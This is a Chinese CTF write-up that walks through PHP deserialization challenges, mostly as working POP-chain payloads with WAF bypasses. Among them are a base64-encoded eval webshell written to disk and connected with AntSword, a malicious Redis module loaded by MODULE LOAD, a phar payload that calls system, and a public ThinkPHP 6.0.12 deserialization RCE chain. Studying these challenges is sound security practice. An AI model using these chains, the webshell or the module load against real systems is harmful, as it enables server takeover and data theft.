web 反序列化 刷题记录


[NISACTF 2022]babyserialize

点开题目

源代码

**include “waf.php”**提示文件包含

反序列化加命令执行

 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

pop链可以从后往前推

步骤:

  1. eval反推到__invoke

    eval函数可以执行我们的命令,那么得调用__invoke,(eval($...)说明要有返回值)
    
  2. _invoke反推到_ toString

    只有调用__toString可以return,当一个对象被当作字符串对待的时候,会触发这个魔术方法 
    
  3. __toString反推到__set

    因为调用了strolower方法(strolower函数会把字符串转换成小写)
    
  4. __set反推到__call

    __call:对不存在的方法或者不可访问的方法进行调用就自动调用
    利用 $this -> four类 -> fun = $arg[0] 就可以调用__call,因为这里正好 $fun是 private 属性
    
  5. __call再到__wakeup

    class TianXiWei 中的 __wakeup 可以调用到 class Ilovetxw 不可访问的方法
    只需把$this->ext->nisa($this->x); 改成$this->Ilovetxw类->nisa($this->x); 就会自动调用call
    

构造payload

 <?php
include "waf.php";
class NISA{
    public $fun;
    public $txw4ever='system("tac /f*");';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}

$a=new TianXiWei();
$a->ext=new Ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw(); //调用_toString()
$a->ext->huang->a->su=new NISA();
echo urlencode(serialize($a));

发现不行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gTkKRefu-1684583894710)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230428004006257.png)]

根据题目提示可能有过滤,用大小写绕过

改为System(“tac /f*”);

得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1AhXKc3C-1684583894710)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230428004115497.png)]

思路总结:

__invoke --> __toString --> __set --> __call --> wakeup
    NISA -->   Ilovetxw -->  four --> IlovetxW --> TianXiWei   

[SWPUCTF 2021 新生赛]pop

源代码

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

分析:从后往前推

首先找到跟flag有关的,发现是w44m的Getflag(),结合if语句,我们要让admin = ‘w44m’ 和passwd ='08067’成立

再往前推,发现w33m的__toString()的**KaTeX parse error: Expected '}', got 'EOF' at end of input: this->w00m->{this->w22m}();**可以调用Getflag();

再往前推,w22m的echo语句可以调用__toString();

整理一下

pop链

w22m.__destruct() --> w33m.__toString() --> w44m.Getflag()

payload

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m='Getflag';
}

$a=new w22m();
$b=new w33m();
$c=new w44m();
$a->w00m=$b;
$b->w00m=$c;
echo urlencode(serialize($a));
?> 

注:记得url编码

[NISACTF 2022]popchains

打开题目

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

代码审计(从后往前推)

  1. 首先我们找到出口include($value),那么我们可以给var赋值用php伪协议去读取flag,调用append()方法得先调用 __invoke()

    (调用了函数方式可以调用 __invoke())

  2. __invoke()可以反推到__get()

    (读取不可访问或者不存在的属性的时候,进行赋值,才能调用__get())

  3. __get()可以反推到__toString()

    (因为我们可以$page不存在Make_a_Change这个类里面)

  4. __toString()可以反推到__wakeup()

    (把类当成字符串的时候,因为preg_match会把变量当成字符串)

pop链

Road_is_Long.__wakeup() --> Road_is_Long.__toString() --> Make_a_Change.__get() --> Try_Work_Hard.__invoke() 

payload

<?php
class Road_is_Long{
    public $page;
    public $string; 
}

class Try_Work_Hard{
    protected  $var='php://filter/convert.base64-encode/resource=/flag';
}

class Make_a_Change{
    public $effort;
    
}

$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$a->page=$b;
$b->string=$c;
$c->effort=new Try_Work_Hard();
echo urlencode(serialize($a));

上传一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hmYEKiB0-1684583894711)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230507134751777.png)]

base64解码得到flag

[第五空间 2021]pklovecloud

打开题目,分析源代码

 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 

代码审计:

  1. 先找出口为file_get_contents($file)
  2. 调用ace的echo_name()得先调用asp的__toString()
  3. 调用asp的__toString()的条件是把类当成字符串的时候调用,可以用本身类的__construct()来进行调用

现在我们要绕过这一段复杂的代码

$this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }

这里可以不用管docker

因为强等于我们可以用NULL=NULL来绕过,所以我们让neutron和nova值为NULL就行

pop链

acp.__construct() --> acp.__toString() -->ace.echo_name() 

payload

<?php
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct($a)
    {
        $this->cinder = $a;
    }
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;
}

$a = new acp(""); //第一次实例化是为了给neutron和nova赋值为NULL,使得绕过强等于
$a->neutron = NULL;
$a->nova = NULL;
$b = new ace();
$b->filename='flag.php';
$c =new acp($b);  //第二次实例化acp会调用__construct方法使cinder指向ace,然后调用echo_name方法
echo urlencode(serialize($c));
  1. 先让neutron和nova赋值为NULL
  2. 再实例化ace,让filename的值为flag.php
  3. 最后再次实例化,并且传入参数,让center指向ace从而调用echo_name() 得到flag

发现没有flag,要把filename的值改为../nssctfasdasdflag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PXMq5Yqw-1684583894712)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230509211130708.png)]

得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O69ex6H4-1684583894712)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230509211236164.png)]

[天翼杯 2021]esay_eval

打开题目

源代码

 <?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

分析:

找到出口为eval函数

正则判断是匹配A和B开头的东西,因为类名是A,B,我们可以通过大小写绕过

因为反序列化会调用__wakeup方法,然后code就为空值,绕过只需要让项数多1就行

实例化b让指针指向a,会调用__construct()方法从而命令执行

payload

<?php
class a{
    public $code = '';
    function __construct(){
        $this->code = "phpinfo();";
    }
}

class b{}

$a=new A();
$b=new B();
$b->a=$a;
echo (serialize($b));

上传成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PpXXYWXV-1684583894712)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230510212138874.png)]

写入一句话木马

<?php @eval($_POST['shell']);?>

修改payload

<?php
class a{
    public $code = '';
    function __construct(){
        $this->code = "fputs(fopen('1.php','w'),base64_decode(\"PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==\"));";
    }
}

class b{}

$a=new A();
$b=new B();
$b->a=$a;
echo (serialize($b));
?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:88:"fputs(fopen('1.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg=="));";}}

上传后,蚁剑连接

(记得关闭代理,因为平时用bp是8080端口)

发现访问不了上级目录

但发现有个config.php.swp

告诉我们了密码

因为这个shell没有访问权限,但是在/var/www/html中有上传权限,所以可以通过

上传恶意的so文件,通过蚁剑的redis管理插件,进行ssrf,然后包含恶意so文件

链接:exp.so

下载链接redis工具

记得解压完添加到这个文件夹下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q6DNIgoJ-1684583894713)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230510213542577.png)]

然后进入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NBhUkVt3-1684583894713)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230510213421526.png)]

添加配置

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qXzTX7Kd-1684583894713)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230510213657840.png)]

随便点开一个

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9XaEmBdS-1684583894713)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230510213943262.png)]

然后加载模组

MODULE LOAD "/var/www/html/exp.so"

输入命令,得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TZ6bnYPv-1684583894714)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230510214457242.png)]

prize_p5

源代码

 <?php
error_reporting(0);

class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{                                                                   
    public $name = 'OTL';                                                 
    public $phone = '123666';                                             
    public $email = 'sweet@OTL.com';                          
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue(); 
        unserialize(serialize($cc));           
    }    
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
        echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?> 

分析一下

  1. 我们的出口是file_get_contents(),参数是$escape的email属性的值,且email正则匹配flag(不区分大小写)
  2. phone必须为一个数组
  3. $escape要经过abscond($abscond),对生成的catalogue序列化字段进行关键字的替换,关键字’NSS’,‘CTF’, ‘OTL_QAQ’, ‘hello’替换成’hacker’
  4. get传参cata=1(随便什么都行,只要不是object)

由于abscond($string),在数组里出现的会被替换成hacker,我们可以利用字符串逃逸绕过
我们先测试一下

 <?php
class escape{                                                                   
    public $name = 'test';                                                 
    public $phone = array('szyyds');                                         
    public $email = '/flag';                          
}
$a=new escape();
echo serialize($a)
?> 
//输出结果 :
O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}

我们如果上传这个email会被正则匹配从而无法绕过
我们可以把";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}这一串给挤掉
但是为了保证得到flag,我们要扩张(name长度变为4+62)

O:6:"escape":3:{s:4:"name";s:66:"test";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}

问题是怎么挤掉呢

这里我们利用abscond(),假设我们name的值有一个NSS,则被替换成hacker的话长度发生改变,那么我们就可以利用被替换的长度差与被挤掉那部分的长度相等,从而实现绕过

这个被挤掉的";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}长度为62
那么我们构造20*NSS+2*hello,长度刚好为62
最终name的payload

O:6:"escape":3:{s:4:"name";s:126:"NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello";s:5:"phone";s:6:"szyyds";s:5:"email";s:5:"/flag";}";s:5:"phone";s:6:"szyyds";s:5:"email";s:5:"/flag";}

得到base64编码的

在这里插入图片描述解码得到flag

在这里插入图片描述

[江苏工匠杯] unseping

源代码

 <?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

分析一下:
1.发现exec()函数可以命令执行,帮助我们得到flag

exec($ip, $result);  //$ip为执行的命令,$result为执行的结果

2.我们往前推, call_user_func_array()函数可以调用我们需要的ping方法
只需要让method的值为ping,同时args为ping的上传参数,即执行的命令

call_user_func_array(array($this, $this->method), $this->args); 

3.由于反序列化的时候会调用__wakeup(),所以我们上传的$args得为数组,然后对$this->args数组中的每个值调用$this->waf()方法进行处理

payload

 <?php

class ease{    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a=new ease("ping",array('id'));
echo base64_encode(serialize($a));
?>

在这里插入图片描述可以发现执行成功,我们在修改下执行命令,同时绕过waf()检测

$a=new ease("ping",array('l\s'));

在这里插入图片描述我们可以直接内联执行绕过

$a=new ease("ping",array('ca\t${IFS}`find`'));
//可以查看该目录及子目录和隐藏目录所有文件

得到flag
在这里插入图片描述

[SWPUCTF 2021 新生赛]babyunser

打开题目,发现能上传文件和查看文件
我们查一下index.php,然后就有可以查看class.php和read.php

read.php源码

<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>aa的文件查看器</h1>
<form class="search_form" action="" method="post">
    <input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
    <input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
    die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

class.php源码

<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

分析一下,由read.php中可以看出它并没有unserilize出现,说明类型为phar反序列化

pop链子

aa.__destruct() --> zz.__toString() --> zz.write() --> ff._get() --> xx._call()

payload

<?php
class aa{
    public $name;
}

class ff{
    private $content;
    public $func;
    public function __construct(){
        $this->content=new xx();
    }
}

class zz{
    public $filename;
    public $content;
}

class xx{
    public $name;
    public $arg;
}

$a=new aa();
$b=new zz();
$c=new ff();
$d=new xx();
$a->name=$b;
//method=write;
//var=content;
$b->filename=$c;
$c->func='system';
//cmd=cat /flag

$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后就得到flag
在这里插入图片描述

[CISCN 2022 初赛]ezpop

打开题目,题目告诉我们thinkphp版本

在这里插入图片描述
我们直接去搜此版本的漏洞
发现ThinkPHP6.0.12LTS 存在反序列化漏洞
我们用御剑扫一下,发现有./www.zip,读取源码
在这里插入图片描述

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
    public function test()
    {
   	unserialize($_POST['a']);
    }
    
}

在index.php下的index类中的test方法找到路由,即./index.php/index/test

我们直接利用网上写好的pop链

<?php
 
namespace think {
    abstract class Model
    {
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = '')
        {
            $this->lazySave = True;
            $this->data = ['whoami' => ['ls /']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami', ['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
 
namespace think\model {
 
    use think\Model;
 
    class Pivot extends Model
    {
    }
}
 
namespace {
    echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

然后bp抓包,修改请求方式查看目录

在这里插入图片描述修改下命令

在这里插入图片描述得到flag
在这里插入图片描述

[UUCTF 2022 新生赛]ez_unser

源代码

 <?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

分析一下,有eval函数可以命令执行,但是__wakeup()会让a的值为空。
同时正则匹配不让我们修改属性个数绕过__wakeup(),这就是个难题

可利用点为$this->b=$this->c;,所以我们可以引用赋值绕过__wakeup()
payload

<?php
class test{
    public $a;
    public $b;
    public $c;  
}
$t=new test();
$t->c="system('ls /');";
$t->b=&$t->a;
echo serialize($t);
?>

注:$t->b=&$t->a;意味着它们引用相同的内存地址,它们指向相同的值
得到flag

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值